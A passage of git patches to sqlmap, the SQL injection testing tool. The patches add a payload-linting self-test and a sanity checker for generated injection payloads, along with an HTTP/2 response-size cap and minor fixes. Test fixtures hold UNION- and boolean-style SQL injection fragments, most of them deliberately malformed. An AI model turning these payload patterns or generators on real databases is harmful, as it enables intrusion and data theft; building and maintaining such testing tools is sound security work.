"getColumns", "getSchema", "getUsers", + "getPasswordHashes", "getPrivileges", "getRoles", "getStatements", + "getComments", "getProcedures") + + _stdout = sys.stdout + + def _progress(dbms, count, bad): + # write to the real stdout (sqlmap's is redirected to a sink during the walk) + _stdout.write("[payload-lint] %-26s %7d payloads %s\n" % (dbms, count, ("%d FLAGGED" % bad) if bad else "ok")) + _stdout.flush() + + class _Sink(object): + def write(self, *args, **kwargs): pass + def flush(self, *args, **kwargs): pass + + _queryPage = Connect.queryPage + _getPageTemplate = common_module.getPageTemplate + _level = logger.level + _threads = conf.threads + threadData = getCurrentThreadData() + + retVal = True + total = walked = 0 + flagged = [] + allDbms = sorted(queries.keys()) + + try: + conf.batch = True + conf.threads = 1 # deterministic, single-threaded (clean output) + conf.disableHashing = True + if not conf.base64Parameter: + conf.base64Parameter = [] + common_module.getPageTemplate = lambda *args, **kwargs: ("x", False) + Connect.queryPage = staticmethod(_oracle) + logger.setLevel(logging.CRITICAL) # mute the emulated walk's "unable to retrieve" noise + threadData.disableStdOut = True # mute dataToStdout at its gate + sys.stdout = _Sink() # and mute everything else (readInput prompts, tables, ...) + + def _runMethods(): + found = set() + for name in methods: + method = getattr(conf.dbmsHandler, name, None) + if method is None: + continue + del collected[:] + guard["count"] = 0 + try: + method() + except (KeyboardInterrupt, Exception): + pass + found.update(collected) + return found + + for dbms in allDbms: + try: + Backend.flushForcedDbms(force=True) + kb.stickyDBMS = False + Backend.forceDbms(dbms) + conf.forceDbms = conf.dbms = dbms + conf.parameters = {PLACE.GET: "id=1"} + conf.paramDict = {PLACE.GET: {"id": "1"}} + # a user/column so user-filtered and column-specific query variants + # (WHERE grantee='...', per-column extraction) are exercised too + conf.db, conf.tbl, conf.col, conf.user = "testdb", "testtbl", "testcol", "testuser" + setHandler() + except Exception: + _progress(dbms, 0, 0) + continue + + seen = set() + # (a) boolean-based blind pass, then (b) UNION-query (inband) pass - + # two techniques exercise two distinct payload-builder families in agent.py + for technique, injector in ((PAYLOAD.TECHNIQUE.BOOLEAN, _injection), + (PAYLOAD.TECHNIQUE.UNION, _unionInjection)): + for key in list(kb.data.keys()): + if key.startswith("cached"): + kb.data[key] = None + kb.jsonAggMode = False + kb.injection = injector(dbms) + kb.injections = [kb.injection] + kb.technique = technique + seen.update(_runMethods()) + + bad = [(dbms, p, checkSanity(p)) for p in seen if checkSanity(p)] + flagged.extend(bad) + total += len(seen) + if seen: + walked += 1 + _progress(dbms, len(seen), len(bad)) + finally: + sys.stdout = _stdout + Connect.queryPage = _queryPage + common_module.getPageTemplate = _getPageTemplate + Backend.flushForcedDbms(force=True) + logger.setLevel(_level) + conf.threads = _threads + threadData.disableStdOut = False + + # self-check: the linter must flag a known-malformed payload, and the walk + # must have actually produced payloads (guards against a vacuous pass) + if not checkSanity("1 AND (SELECT id 1 FROM users)"): + logger.error("payload-lint self-check failed: a known-malformed payload was not flagged") + retVal = False + if total < 1000: + logger.error("payload-lint self-check failed: only %d payloads generated (walk did not run)" % total) + retVal = False + + for dbms, payload, issues in flagged[:20]: + retVal = False + logger.error("[%s] malformed payload: %s -> %s" % (dbms, payload, "; ".join(issues))) + + clearConsoleLine() + logger.info("payload-lint: %d payloads across %d/%d DBMSes checked, %d malformed" % (total, walked, len(allDbms), len(flagged))) + if retVal: + logger.info("payload-lint final result: PASSED") + else: + logger.error("payload-lint final result: FAILED") + + return retVal diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 64ac6319f90..817e12f6aa0 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -930,6 +930,9 @@ def cmdLineParser(argv=None): parser.add_argument("--fp-test", dest="fpTest", action="store_true", help=SUPPRESS) + parser.add_argument("--payload-lint", dest="payloadLint", action="store_true", + help=SUPPRESS) + parser.add_argument("--api-test", dest="apiTest", action="store_true", help=SUPPRESS) @@ -1187,7 +1190,7 @@ def _format_action_invocation(self, action): else: args.stdinPipe = None - if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.openApiFile, args.updateAll, args.smokeTest, args.vulnTest, args.fpTest, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): + if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.openApiFile, args.updateAll, args.smokeTest, args.vulnTest, args.fpTest, args.payloadLint, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). " errMsg += "Use -h for basic and -hh for advanced help\n" parser.error(errMsg) diff --git a/lib/request/connect.py b/lib/request/connect.py index ce39c8f2944..70d5091d062 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -139,6 +139,7 @@ class WebSocketException(Exception): from lib.request.direct import direct from lib.request.methodrequest import MethodRequest from lib.utils.safe2bin import safecharencode +from lib.utils.sqllint import checkSanity from thirdparty import six from collections import OrderedDict from thirdparty.six import unichr as _unichr @@ -1088,6 +1089,15 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent payload = agent.extractPayload(value) threadData = getCurrentThreadData() + # Opt-in sanity lint of the outbound (pre-tamper) payload. Skipped during + # detection (kb.testMode) where deliberately-invalid probes are expected; + # for operational payloads a structural defect is a genuine bug worth a + # heads-up. Enabled via SQLMAP_LINT_PAYLOADS (e.g. CI/--vuln-test runs). + if payload and not kb.testMode and os.environ.get("SQLMAP_LINT_PAYLOADS"): + for issue in checkSanity(agent.removePayloadDelimiters(value)): + singleTimeWarnMessage("potentially malformed SQL payload emitted (%s): %s" % (issue, payload)) + break + if conf.httpHeaders: headers = OrderedDict(conf.httpHeaders) contentType = max(headers[_] or "" if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else "" for _ in headers) or None diff --git a/lib/utils/sqllint.py b/lib/utils/sqllint.py index cc220923191..867b4c7d228 100644 --- a/lib/utils/sqllint.py +++ b/lib/utils/sqllint.py @@ -42,7 +42,7 @@ | (?P<%s>'(?:''|[^'])*'|"(?:""|[^"])*") | (?P<%s>`[^`]*`|\[[^\]]*\]) | (?P<%s>0[xX][0-9A-Fa-f]+|(?:\d+\.?\d*|\.\d+)(?:[eE][+-]?\d+)?) - | (?P<%s>[A-Za-z_@$][A-Za-z0-9_@$]*) + | (?P<%s>(?:[A-Za-z_@$]|[^\x00-\x7f])(?:[A-Za-z0-9_@$]|[^\x00-\x7f])*) | (?P<%s><=|>=|<>|!=|==|<<|>>|\|\||&&|::|:=|[-+*/%%=<>!~&|^:]) | (?P<%s>,) | (?P<%s>\.) @@ -69,6 +69,39 @@ # as the SELECT/COUNT wildcard) _BINARY_SYMBOLS = frozenset(("=", "<>", "!=", "<", ">", "<=", ">=", "/", "%", "||", "&&", "|", "&", "^")) +# clause-introducing keywords that signal a dangling list item when they sit +# right after a comma ("SELECT a,b, FROM t"). GROUP/ORDER/LIMIT/OFFSET are +# excluded on purpose - they double as very common column names, so a bare +# "a,limit,b" would false-positive. +_CLAUSE_KEYWORDS = frozenset(("FROM", "WHERE", "HAVING", "INTO")) + +# sqlmap's own templating markers. If any survives into a *final* outbound payload +# a substitution failed upstream (agent.py / cleanupPayload / queries.xml) - always +# a bug. Matched on the raw payload because a marker can leak anywhere (bare, inside +# a string, or where the lexer would otherwise read it as an MSSQL [identifier]). +_LEFTOVER_MARKER = re.compile( + r"\[(?:RANDNUM\d*|RANDSTR\d*|INFERENCE|SLEEPTIME|DELAYED|DELIMITER_START|DELIMITER_STOP" + r"|ORIGVALUE|ORIGINAL|GENERIC_SQL_COMMENT|QUERY|UNION|CHAR|COLSTART|COLSTOP|DB" + r"|SINGLE_QUOTE|DOUBLE_QUOTE|AT_REPLACE|SPACE_REPLACE|DOLLAR_REPLACE|HASH_REPLACE)\]") + +# SQL words whose near-miss spelling in a structural position is almost always a +# broken payload, not a legitimate identifier (deliberately smaller than the full +# keyword list): catches payload-builder typos like UNI1ON/SEL2ECT/ORD2ER without +# flagging arbitrary application identifiers. +# only length>=5 structural keywords: short ones (ON/NOT/IN/IS/BY/OR/AND/ALL/ +# FROM/LIKE/NULL/...) are too easily near-missed by real column names (note->NOT, +# ono->ON), which the real-identifier stress test proved would false-positive. +_NEAR_KEYWORD_TARGETS = frozenset(( + "SELECT", "UNION", "DISTINCT", "GROUP", "ORDER", "HAVING", "LIMIT", + "OFFSET", "WHERE", "INNER", "RIGHT", "OUTER", "CROSS", "REGEXP", "RLIKE")) + +# single-char substitutions seen in accidental mutation/test edits +_DIGIT_KEYWORD_ALIASES = {"0": "O", "1": "I", "2": "E", "3": "E", "4": "A", "5": "S", "7": "T", "8": "B"} + +_CLAUSE_STARTERS = frozenset(( + "SELECT", "UNION", "FROM", "WHERE", "GROUP", "ORDER", "HAVING", "LIMIT", + "OFFSET", "INTO", "JOIN", "ON", "AND", "OR")) + _KEYWORDS_CACHE = None @@ -82,6 +115,96 @@ def __init__(self, type_, value, start, end): self.end = end +def _word(token): + if token is not None and token.type in (T_IDENT, T_KEYWORD): + return token.value.upper() + return None + + +def _atClauseBoundary(prev): + return prev is None or prev.type in (T_LPAREN, T_RPAREN, T_SEMI, T_COMMA) or \ + (prev.type == T_OP and prev.value not in (".",)) or \ + (prev.type == T_KEYWORD and prev.value.upper() in _CLAUSE_STARTERS) + + +def _editWithin1(a, b): + """Damerau-Levenshtein distance <= 1 (one insertion, deletion, substitution + or adjacent transposition). Catches every single-char keyword typo class.""" + la, lb = len(a), len(b) + if a == b or abs(la - lb) > 1: + return a == b + if la == lb: + diff = [i for i in range(la) if a[i] != b[i]] + if len(diff) == 1: # substitution + return True + if len(diff) == 2 and diff[1] == diff[0] + 1 and \ + a[diff[0]] == b[diff[1]] and a[diff[1]] == b[diff[0]]: # transposition + return True + return False + shorter, longer = (a, b) if la < lb else (b, a) # deletion/insertion + for i in range(len(longer)): + if shorter == longer[:i] + longer[i + 1:]: + return True + return False + + +def _nearKeywordCandidates(value): + """ + Structural SQL keywords one single-char typo away from an identifier + (Damerau distance 1; NOT generic fuzzy matching over the whole keyword file). + + >>> sorted(_nearKeywordCandidates("UNI1ON")) + ['UNION'] + >>> sorted(_nearKeywordCandidates("SEL2ECT")) + ['SELECT'] + >>> sorted(_nearKeywordCandidates("UrNION")) + ['UNION'] + >>> sorted(_nearKeywordCandidates("UNIN")) + ['UNION'] + >>> sorted(_nearKeywordCandidates("UNOIN")) + ['UNION'] + """ + upper = value.upper() + if upper in _NEAR_KEYWORD_TARGETS or len(upper) < 4: + return set() + return set(target for target in _NEAR_KEYWORD_TARGETS if _editWithin1(upper, target)) + + +def _nearKeywordIsStructural(sig, index, keyword): + """True when a near-keyword identifier sits where that keyword is expected.""" + prev = sig[index - 1] if index > 0 else None + nxt = sig[index + 1] if index + 1 < len(sig) else None + prevWord = _word(prev) + nextWord = _word(nxt) + + if keyword == "UNION": + return nextWord in ("ALL", "DISTINCT", "SELECT") and \ + prevWord not in ("SELECT", "FROM", "WHERE", "GROUP", "ORDER", "BY", "HAVING", "LIMIT", "OFFSET", "JOIN", "ON", "AS") + + if keyword == "SELECT": + return prev is None or prev.type in (T_LPAREN, T_SEMI) or prevWord in ("UNION", "ALL", "DISTINCT", "EXCEPT", "INTERSECT") + + if keyword in ("ORDER", "GROUP"): + return nextWord == "BY" + + if keyword == "BY": + return prevWord in ("ORDER", "GROUP") + + if keyword in ("AND", "OR", "LIKE", "REGEXP", "RLIKE", "IN", "IS"): + return prev is not None and nxt is not None and prev.type in _OPERANDS and nxt.type in _OPERANDS.union((T_LPAREN,)) + + if keyword in ("FROM", "WHERE", "HAVING", "LIMIT", "OFFSET", "INTO", "JOIN", "ON"): + return _atClauseBoundary(prev) or prevWord in ("SELECT", "UPDATE", "DELETE", "INSERT", "FROM", "WHERE", "HAVING") + + if keyword in ("ALL", "DISTINCT"): + return prevWord in ("UNION", "SELECT") + + if keyword in ("NULL", "NOT"): + return _atClauseBoundary(prev) + + return False + + def _keywords(): global _KEYWORDS_CACHE @@ -194,6 +317,11 @@ def checkSanity(sql, keywords=None): keywords = _keywords() issues = [] + + # -- residual templating markers (upstream substitution failed) -------- + for match in _LEFTOVER_MARKER.finditer(sql): + issues.append("leftover marker '%s' at offset %d" % (match.group(0), match.start())) + tokens = tokenize(sql, keywords) # -- edge tolerance for unterminated strings --------------------------- @@ -201,6 +329,7 @@ def checkSanity(sql, keywords=None): # that opens *inside* a group (depth > 0) has swallowed a needed ')', i.e. # an odd quote count within an owned scope (the classic "users'" abomination). depth = 0 + unterminated = False for token in tokens: if token.type == T_LPAREN: depth += 1 @@ -209,8 +338,14 @@ def checkSanity(sql, keywords=None): elif token.type == T_UNTERM: if depth > 0: issues.append("odd quote inside a parenthesized scope at offset %d" % token.start) + unterminated = True break + # unclosed '(' (a dropped ')'): well-formed payloads NEVER end paren-positive + # (leading break-out ')' only ever makes depth negative), so this is 0-FP. + if not unterminated and depth > 0: + issues.append("unbalanced parentheses (%d unclosed '(')" % depth) + sig = _significant(tokens) for i in range(len(sig)): @@ -223,9 +358,23 @@ def checkSanity(sql, keywords=None): curIsFunc = cur.type == T_KEYWORD and nxt is not None and nxt.type == T_LPAREN curBinary = _isBinary(cur) and not curIsFunc - # -- glued number/keyword boundary: '1UNION', '1AND' --------------- - if cur.type == T_NUM and nxt is not None and nxt.start == cur.end and nxt.type in (T_IDENT, T_KEYWORD): - issues.append("digit glued to a word ('%s%s') at offset %d" % (cur.value, nxt.value, cur.start)) + # -- keyword near-miss in a structural position: UNI1ON/SEL2ECT/ORD2ER + if cur.type == T_IDENT: + for keyword in sorted(_nearKeywordCandidates(cur.value)): + if _nearKeywordIsStructural(sig, i, keyword): + issues.append("keyword typo '%s' (near '%s') at offset %d" % (cur.value, keyword, cur.start)) + break + + # -- UNION must continue with SELECT/ALL/DISTINCT/'(' (catches a glued or + # corrupted continuation like 'UNION ALLSELECT' -> UNION ) + if cur.type == T_KEYWORD and cur.value.upper() == "UNION" and nxt is not None: + if not (nxt.type == T_LPAREN or (nxt.type == T_KEYWORD and nxt.value.upper() in ("SELECT", "ALL", "DISTINCT"))): + issues.append("UNION not followed by SELECT/ALL/DISTINCT at offset %d" % cur.start) + + # -- digit glued to a keyword: '1UNION', '5108AND' (a digit-started + # identifier like '4images' is legitimate and must NOT trip this) + if cur.type == T_NUM and nxt is not None and nxt.start == cur.end and nxt.type == T_KEYWORD: + issues.append("digit glued to a keyword ('%s%s') at offset %d" % (cur.value, nxt.value, cur.start)) # -- operand directly followed by a bare number: 'id 1' ------------ # a numeric literal can never be an alias, so this is always broken @@ -241,6 +390,14 @@ def checkSanity(sql, keywords=None): issues.append("comma right after '(' at offset %d" % cur.start) elif pair == (T_COMMA, T_RPAREN): issues.append("comma right before ')' at offset %d" % cur.start) + elif prev.type == T_KEYWORD and prev.value.upper() == "SELECT" and cur.type == T_COMMA: + issues.append("comma right after SELECT at offset %d" % cur.start) + elif prev.type == T_COMMA and cur.type == T_KEYWORD and cur.value.upper() in _CLAUSE_KEYWORDS \ + and nxt is not None and nxt.type not in (T_COMMA, T_RPAREN): + # a clause keyword right after a comma AND followed by real content is a + # dangling list item ("a,b, FROM t"); if it is a bare list item itself + # ("a,group,b" - a column named 'group') the next token is a comma/paren/end + issues.append("dangling comma before '%s' at offset %d" % (cur.value, cur.start)) elif pair == (T_RPAREN, T_LPAREN): issues.append("adjacent groups ')(' at offset %d" % cur.start) elif pair == (T_LPAREN, T_RPAREN) and (i < 2 or sig[i - 2].type in (T_OP, T_COMMA, T_LPAREN)): diff --git a/sqlmap.py b/sqlmap.py index a2085c4c2a2..a54f97e38af 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -195,6 +195,9 @@ def main(): elif conf.fpTest: from lib.core.testing import fpTest os._exitcode = 1 - (fpTest() or 0) + elif conf.payloadLint: + from lib.core.testing import payloadLintTest + os._exitcode = 1 - (payloadLintTest() or 0) elif conf.apiTest: from lib.core.testing import apiTest os._exitcode = 1 - (apiTest() or 0) @@ -610,7 +613,7 @@ def main(): except OSError: pass - if any((conf.vulnTest, conf.fpTest, conf.smokeTest, conf.apiTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files + if any((conf.vulnTest, conf.fpTest, conf.smokeTest, conf.payloadLint, conf.apiTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files try: shutil.rmtree(tempDir, ignore_errors=True) except OSError: diff --git a/tests/test_sqllint.py b/tests/test_sqllint.py index 06468690006..b5389e75612 100644 --- a/tests/test_sqllint.py +++ b/tests/test_sqllint.py @@ -79,6 +79,28 @@ "1 UNION SELECT NULL,,NULL", # empty list item "1 AND (1=1)(2=2)", # adjacent groups "SELECT count() FROM t WHERE id=)", # operator before ')' + "SELECT a,b, FROM t", # dangling comma before clause + "1 AND (SELECT [DELIMITER_START]x[DELIMITER_STOP] FROM t)", # leftover templating marker + "1 [ORIGVALUE] AND 1=1", # leftover ORIGVALUE marker + "1 UNI1ON ALL SELECT NULL,NULL", # digit-corrupted UNION + "1 UrNION ALL SELECT NULL", # char-inserted UNION + "SEL2ECT x.z FROM t", # digit-corrupted SELECT + "1 ORD2ER BY 1", # digit-corrupted ORDER + "1 UNIN ALL SELECT NULL", # deletion-typo UNION + "1 UNOIN ALL SELECT NULL", # transposition-typo UNION + "SELCT a FROM t", # deletion-typo SELECT + "1 UNION ALLSELECT NULL", # glued keyword after UNION + "1 AND ORD(MID((SELECT COUNT(x FROM t),1,1))>64", # unbalanced parentheses (dropped ')') + "1 UNION ALL SELECT ,CONCAT(0x71,a,0x71) FROM t", # comma right after SELECT +) + +# cross-dialect valid constructs the near-keyword / comma / digit-glue rules must +# NOT flag (regression guards for false positives the real-identifier stress found) +DIALECT_GOOD_HARD = ( + "SELECT 4images_users FROM t", # digit-STARTED identifier (not '1UNION') + "SELECT a,group,b FROM t", # column literally named 'group' + "SELECT a,order FROM t", # column literally named 'order' + "1 UNION SELECT orders FROM t", # 'orders' near ORDER but a real table ) # queries.xml: attributes that carry SQL (not regexes/markers) @@ -142,13 +164,17 @@ def _payload_atoms(): class TestLinterSelf(unittest.TestCase): def test_well_formed_pass(self): - for sql in GOOD + DIALECT_GOOD: + for sql in GOOD + DIALECT_GOOD + DIALECT_GOOD_HARD: self.assertEqual(checkSanity(sql), [], "false positive on valid SQL: %r" % sql) def test_malformed_flag(self): for sql in BAD: self.assertTrue(checkSanity(sql), "missed malformed SQL: %r" % sql) + def test_nonascii_identifier(self): + # a non-ASCII column name (Turkish dotless-i U+0131) must lex as an identifier, not stray + self.assertEqual(checkSanity(u"SELECT \u0131d,ad FROM users"), []) + # module-level coverage accounting (printed in tearDownModule) _COVERAGE = {"queries_dbms": 0, "queries_atoms": 0, "payload_atoms": 0} From 8db71f4d67b9d1b4416176a0cff4df3e1f3b7bcd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 17:55:54 +0200 Subject: [PATCH 702/853] Fixes CI/CD error --- lib/core/settings.py | 2 +- lib/request/comparison.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0cfb735d453..0560348ff04 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.44" +VERSION = "1.10.7.45" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/comparison.py b/lib/request/comparison.py index b800f4795c8..30beafabc70 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -132,7 +132,7 @@ def _comparison(page, headers, code, getRatioValue, pageLength): page = removeDynamicContent(page) if threadData.lastPageTemplate != kb.pageTemplate: threadData.lastPageTemplateCleaned = removeDynamicContent(kb.pageTemplate) - # Same template-identity memoization for the structure-aware projections (§below): the + # Same template-identity memoization for the structure-aware projections (see below): the # template is constant across an extraction, so it must not be re-parsed/re-tokenized on # every inference request - only seq2 (from the live page) is recomputed per response threadData.lastPageTemplateJsonMinimized = jsonMinimize(kb.pageTemplate) From 165bf837c937cc7bd57ba4c55622af5e4fa4905c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 18:00:42 +0200 Subject: [PATCH 703/853] Minor update --- lib/core/settings.py | 2 +- tests/test_library.py | 7 +++++++ tests/test_sqllint.py | 16 ---------------- 3 files changed, 8 insertions(+), 17 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0560348ff04..1cb6c5ddf5d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.45" +VERSION = "1.10.7.46" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_library.py b/tests/test_library.py index 8437238e517..36a608e31a8 100644 --- a/tests/test_library.py +++ b/tests/test_library.py @@ -122,6 +122,11 @@ def test_errors_reach_the_report(self): # otherwise gate the ERROR record before it reaches the recorder (order-dependent flakiness) saved_level = logger.level logger.setLevel(logging.ERROR) + # mute the existing console handler(s) so the deliberate ERROR below does not leak to the + # unittest output; the recorder added by setupReportCollector next still captures it + muted = [(handler, handler.level) for handler in logger.handlers] + for handler, _ in muted: + handler.setLevel(logging.CRITICAL + 1) collector = setupReportCollector() try: logger.error("boom %s", "here") @@ -129,6 +134,8 @@ def test_errors_reach_the_report(self): self.assertTrue(any("boom here" in _ for _ in result["error"])) finally: logger.setLevel(saved_level) + for handler, level in muted: + handler.setLevel(level) for handler in list(logger.handlers): if isinstance(handler, ReportErrorRecorder): logger.removeHandler(handler) diff --git a/tests/test_sqllint.py b/tests/test_sqllint.py index b5389e75612..63f409ff10d 100644 --- a/tests/test_sqllint.py +++ b/tests/test_sqllint.py @@ -176,14 +176,9 @@ def test_nonascii_identifier(self): self.assertEqual(checkSanity(u"SELECT \u0131d,ad FROM users"), []) -# module-level coverage accounting (printed in tearDownModule) -_COVERAGE = {"queries_dbms": 0, "queries_atoms": 0, "payload_atoms": 0} - - class TestCatalogCoverage(unittest.TestCase): def test_queries_xml_clean(self): atoms = _queries_atoms() - _COVERAGE["queries_dbms"] = len(atoms) total = 0 for dbms, items in atoms.items(): for raw in items: @@ -191,12 +186,10 @@ def test_queries_xml_clean(self): issues = checkSanity(_materialize(raw)) self.assertEqual(issues, [], "queries.xml [%s] malformed atom: %r -> %s" % (dbms, raw, issues)) - _COVERAGE["queries_atoms"] = total self.assertGreater(total, 1000) # sanity: the catalog was actually walked def test_payloads_xml_clean(self): items = _payload_atoms() - _COVERAGE["payload_atoms"] = len(items) for name, title, raw in items: issues = checkSanity(_materialize(raw)) self.assertEqual(issues, [], @@ -204,14 +197,5 @@ def test_payloads_xml_clean(self): self.assertGreater(len(items), 500) -def tearDownModule(): - q = _COVERAGE - total = q["queries_atoms"] + q["payload_atoms"] - sys.stderr.write( - "\n[sqllint coverage] atom-level: %d SQL atoms linted clean " - "(%d queries.xml across %d/30 DBMSes + %d payloads.xml vectors)\n" - % (total, q["queries_atoms"], q["queries_dbms"], q["payload_atoms"])) - - if __name__ == "__main__": unittest.main(verbosity=2) From dd4f40ad5ef173dacd751b0ee14484cbe1975f16 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 18:51:29 +0200 Subject: [PATCH 704/853] Adding max reponse size for HTTP2 --- lib/core/settings.py | 2 +- lib/request/http2.py | 18 ++++++++++++++++++ 2 files changed, 19 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 1cb6c5ddf5d..0a35a7fce8e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.46" +VERSION = "1.10.7.47" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/http2.py b/lib/request/http2.py index 17c768068c8..a8aa6287f77 100644 --- a/lib/request/http2.py +++ b/lib/request/http2.py @@ -377,6 +377,12 @@ def encode(self, headers): SETTINGS_INITIAL_WINDOW_SIZE = 0x4 BIG_WINDOW = (1 << 31) - 1 +# Upper bound on the response bytes (body or header block) buffered per stream. The client advertises a +# ~2GB flow-control window, so without this a large (or hostile) server would drive the whole body into +# memory and OOM the process. Mirrors the HTTP/1.1 path's MAX_CONNECTION_TOTAL_SIZE (100MB) cap in +# connect.py; a stream that exceeds it is truncated (body) or abandoned (headers) and its connection retired. +MAX_RESPONSE_SIZE = 100 * 1024 * 1024 + def _recv_exact(sock, n): buf = b"" while len(buf) < n: @@ -524,6 +530,9 @@ def exchange(self, method, path, authority, headers, body, timeout): if flags & FLAG_PRIORITY: p = p[5:] header_block += p + if len(header_block) > MAX_RESPONSE_SIZE: # hostile/endless header block -> bail rather than OOM + self.usable = False + raise IOError("oversized HTTP/2 header block") if flags & FLAG_END_HEADERS: resp_headers = self.dec.decode(header_block) if flags & FLAG_END_STREAM: @@ -533,6 +542,9 @@ def exchange(self, method, path, authority, headers, body, timeout): if flags & FLAG_PADDED: p = p[1:len(p) - bytearray(payload)[0]] resp_body += p + if len(resp_body) > MAX_RESPONSE_SIZE: # cap like the HTTP/1.1 path; stop reading and retire the + self.usable = False # connection (leftover frames abandoned) instead of OOM + break if payload: # replenish stream + connection windows self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, sid, struct.pack("!I", len(payload)))) self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload)))) @@ -603,6 +615,9 @@ def exchange_pair(self, requests, timeout): if flags & FLAG_PRIORITY: p = p[5:] state[fsid]["hb"] += p + if len(state[fsid]["hb"]) > MAX_RESPONSE_SIZE: + self.usable = False + raise IOError("oversized HTTP/2 header block during timeless pair") if flags & FLAG_END_HEADERS: state[fsid]["headers"] = self.dec.decode(state[fsid]["hb"]) if flags & FLAG_END_STREAM and fsid in remaining: @@ -612,6 +627,9 @@ def exchange_pair(self, requests, timeout): if flags & FLAG_PADDED: p = p[1:len(p) - bytearray(payload)[0]] state[fsid]["body"] += p + if len(state[fsid]["body"]) > MAX_RESPONSE_SIZE: # cap the buffered body (mirrors exchange()) + self.usable = False + raise IOError("oversized response during timeless pair") if payload: self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, fsid, struct.pack("!I", len(payload)))) self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload)))) From 8dda2b42a59ac017b01b799cf525ed0a818e0e25 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 19:09:10 +0200 Subject: [PATCH 705/853] Minor patch --- lib/core/settings.py | 2 +- lib/techniques/union/use.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0a35a7fce8e..3739c215092 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.47" +VERSION = "1.10.7.48" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index e28244c05bc..d9b4b589e2a 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -131,7 +131,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False): else: retVal = getUnicode(retVal) elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD): - output = extractRegexResult(r"(?P%s.*%s)" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) + output = extractRegexResult(r"(?P%s.*%s)" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload), re.DOTALL) if output: retVal = output else: From d8cc2ae93b95fdda6b9e4f931f44bb115c1a3f8b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 19:26:36 +0200 Subject: [PATCH 706/853] Minor update --- lib/core/settings.py | 2 +- lib/techniques/union/use.py | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py 